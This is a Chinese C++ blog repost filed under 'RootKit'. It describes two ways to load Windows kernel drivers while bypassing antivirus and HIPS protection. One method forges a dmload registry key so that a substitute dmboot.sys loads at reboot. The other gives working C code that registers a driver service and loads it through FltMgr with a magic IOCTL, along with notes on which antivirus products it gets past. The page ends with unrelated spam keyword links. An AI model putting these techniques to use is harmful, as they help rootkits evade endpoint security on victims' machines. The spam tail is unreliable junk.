• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            Load Driver

            Posted on 2010-07-10 17:19 S.l.e!ep.¢% 閱讀(1061) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            繞過主防加載驅動的新思路!!!

            通過dmload.sys可以實現一種新型的驅動加載方式。
            ? 在dmload的二次驅動重初始化時會調用dmload!DmLoadIsEncapPending來判斷\Registry\Machine\System\CurrentControlSet\Services\dmload\EncapsulationPending子鍵是否存在,如果不存在則調用dmload!DmLoadIsDmioNeeded判斷系統(tǒng)是否需要加載dmboot驅動(向disk驅動發(fā)送IOCTL_DISK_GET_DRIVE_LAYOUT_EX查詢)。而如果存在EncapsulationPending鍵則直接跳過檢測步驟,直接調用ZwLoadDriver加載dmboot驅動。
            ? ? 因此,我們只要事先偽造一個EncapsulationPending子鍵,并用我們欲加載的驅動替換掉dmboot.sys(不替換亦可),重啟后便可成功加載驅動。


            http://b.qzone.qq.com/cgi-bin/blognew/simpleqzone_blog_data?hostuin=95007909&r=0&idm=qzs.qq.com&bdm=b.qzone.qq.com&mdm=m.qzone.qq.com&blogid=1270802371&numperpage=15

            一種另類驅動加載辦法

            2010年04月09日 評論(0)|瀏覽(75) 點擊查看原文

            一種另類驅動加載辦法

            華中科技大學

            在這個病毒=Rootkit的時代,驅動的加載無疑是重中之重,自然的,各種ARK以及Hips對驅動也是嚴加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,這些API大多都被SSDT HOOK了,使用這些API會被攔截掉,從而使得驅動無法加載,不過,也有一些繞過的辦法。

            微軟為windows專門設計了一套微過濾驅動(mini filters),這套驅動是專用于管理文件過濾驅動的加載和運行,很多的虛擬磁盤驅動,還有還原軟件常用的磁盤過濾驅動,都是使用微過濾驅動進行加載的,而且一般殺毒軟件對這塊管的并沒有那么嚴,所以可以從這里下手去加載。

            不同于其他的驅動,Minifilter由一個獨立的manager管理而不僅僅是SCM(服務管理器),他的全稱叫Microsoft File System Filter Manager(想了解更多關于微處理管理器和微過濾驅動的內容,可以到微軟官網查詢,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。

            加載驅動的主要代碼比較簡單

            int main( int argc , char *argv[] )

            {

            HANDLE hDevice;

            LOAD service_to_load;

            BOOL err;

            DWORD dwRet=0;

            WCHAR drvPath[512];

            memset( drvPath , 0 , 512 );

            GetCurrentDirectoryW( MAX_PATH , drvPath );//將驅動放在當前目錄下進行加載

            lstrcatW( drvPath , L"\\load.sys" );//驅動名稱必須為load.sys

            make_reg( L"load" , drvPath );

            hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//啟用Fltmgr進行驅動的加載

            if( hDevice == INVALID_HANDLE_VALUE )

            {

            printf("CreateFile failed with status : %d\n" , GetLastError() );//這個是錯誤處理

            goto __end;

            }

            wcscpy( service_to_load.ServiceName , L"load");

            service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);

            err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//傳送控制碼

            if( !err )

            {

            printf("sorry\n");

            goto __end;

            }

            printf(":)\n");

            __end:

            CloseHandle( hDevice );

            return 0;

            }

            這段代碼和SCM加載驅動的代碼基本一致,只不過換成了Fltmgr進行加載。

            驅動還需要在注冊表中進行服務的注冊,不過這個注冊和SCM加載的方式一摸一樣,也不必多說了。

            VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )

            {

            DWORD dwType = SERVICE_KERNEL_DRIVER; //定義注冊類型為內核驅動

            DWORD dwStart = SERVICE_DEMAND_START; //手動啟動服務

            HKEY hKey;

            WCHAR szMain[512] = {0};

            WCHAR szImgPath[512] = {0};

            wchar_t szRegPath[512]={0};

            wsprintfW( szMain,

            L"%s%s",

            L"SYSTEM\\CurrentControlSet\\Services\\",

            szDriverName );//在service鍵值下注冊

            wsprintfW( szImgPath,

            L"%s%s",

            L"\\??\\",

            szDriverPath);

            if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )

            {

            RegSetValueExW( hKey,

            L"DisplayName",

            0,

            REG_SZ,

            (LPBYTE)szDriverName,

            (DWORD)lstrlenW(szDriverName)*2);

            RegSetValueExW( hKey,

            L"ImagePath",

            0,

            REG_EXPAND_SZ,

            (LPBYTE)szImgPath,

            (DWORD)lstrlenW(szImgPath)*2);

            RegSetValueExW( hKey,

            L"Type",

            0,

            REG_DWORD,

            (LPBYTE)&dwType,

            (DWORD)sizeof(dwType) );

            RegSetValueExW( hKey,

            L"Start",

            0,

            REG_DWORD,

            (LPBYTE)&dwStart,

            (DWORD)sizeof(dwStart) );

            }

            }

            這種方法經過測試,可以過瑞星2010最新版,360過不了,其他的待測,網吧的驅動防火墻不知能不能過,也許可以嘗試下……

            如果對驅動的加載方式以及原理不是特別了解,可以去參考Programming The Windows Driver Model。

            婷婷久久综合九色综合绿巨人| 国产亚洲精久久久久久无码| 国产成人精品白浆久久69| 人妻无码久久精品| 午夜福利91久久福利| 亚洲国产精品一区二区三区久久| 7国产欧美日韩综合天堂中文久久久久 | 亚洲精品NV久久久久久久久久| 国产精品久久精品| 国产午夜精品久久久久免费视| 久久超乳爆乳中文字幕| 久久久久久久97| 久久久久久久99精品免费观看| 久久九九亚洲精品| 狠狠人妻久久久久久综合蜜桃| 久久久精品国产Sm最大网站| 亚洲国产综合久久天堂 | 国产精品美女久久福利网站| 大香伊人久久精品一区二区| 狠狠综合久久综合88亚洲| 欧美一区二区三区久久综合| 久久国产精品一区二区| 久久91这里精品国产2020| 久久www免费人成看国产片| 久久久高清免费视频| 久久精品人人做人人妻人人玩| 九九久久99综合一区二区| 久久一区二区免费播放| 无码人妻精品一区二区三区久久| 狠狠干狠狠久久| 亚洲精品成人久久久| 精品久久久久久亚洲| 亚洲国产成人久久精品99| 久久精品欧美日韩精品| 久久久久久国产精品免费免费| 久久久www免费人成精品| 69SEX久久精品国产麻豆| 色综合久久夜色精品国产| 久久亚洲精品中文字幕三区| 久久只有这精品99| 狠狠精品久久久无码中文字幕 |